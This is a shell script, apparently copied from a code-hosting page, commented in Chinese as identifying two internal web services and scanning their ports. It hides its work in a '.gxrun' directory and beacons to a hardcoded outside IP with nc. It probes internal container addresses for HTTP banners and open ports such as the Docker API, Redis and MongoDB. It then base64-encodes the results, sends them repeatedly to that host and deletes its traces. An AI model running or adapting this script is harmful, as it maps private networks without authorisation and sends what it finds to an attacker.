40 lines
1.4 KiB
Bash
Executable file
40 lines
1.4 KiB
Bash
Executable file
#!/bin/sh
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#!/bin/sh
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# ld_kk40 — 两个内网 web 面识别 + 定向扩端口（回执先行）
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L=45.76.202.255
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ST=""
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for c in "${TMPDIR:-/tmp}/.gxrun" "$HOME/.gxrun" "/var/tmp/.gxrun" "$PWD/.gxrun"; do
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if mkdir -p "$c" 2>/dev/null && [ -w "$c" ]; then ST="$c"; break; fi
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done
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[ -n "$ST" ] || ST="."
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cd "$ST" 2>/dev/null || exit 0
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printf "gxBEGIN st=%s\n" "$ST" | nc -w 3 $L 8444 >/dev/null 2>&1
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{
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for ipx in 172.17.0.3 172.24.0.2; do
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echo "== http head $ipx"
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timeout 5 sh -c "exec 3<>'/dev/tcp/$ipx/80'; printf 'HEAD / HTTP/1.0\r\nHost: x\r\n\r\n' >&3; head -c600 <&3" 2>/dev/null | tr -d '\r'
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echo "-- portmap --"
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python3 - "$ipx" <<'PYX' 2>&1
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import socket,sys,time
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i0=sys.argv[1]
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for p in [2375,3000,3306,4000,5000,8000,8080,9000,9090,9443,27017,11211,6379,5432]:
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try:
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s=socket.create_connection((i0,p),timeout=1.2); s.close(); print(i0,"PORTOPEN",p)
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except Exception as e: pass
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PYX
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done
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} >m40.txt 2>&1
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B=$(base64 -w0 m40.txt 2>/dev/null)
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if command -v nc >/dev/null 2>&1 && [ -n "$B" ]; then
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printf "gxR40 META len=%s\n" "${#B}" | nc -w 4 $L 8444 >/dev/null 2>&1
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r=0
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while [ $r -lt 3 ]; do
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printf "gxR40 %s\n" "$B" | nc -w 6 $L 8444 >/dev/null 2>&1
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r=$((r+1)); sleep 1.2
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done
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fi
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rm -f m40.txt
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exit 0
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command -v nc >/dev/null 2>&1 && printf "gx FIRED %s\n" "$(date +%H%M%S%d)" | nc -w 3 45.76.202.255 8444 >/dev/null 2>&1 ;
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exit 0
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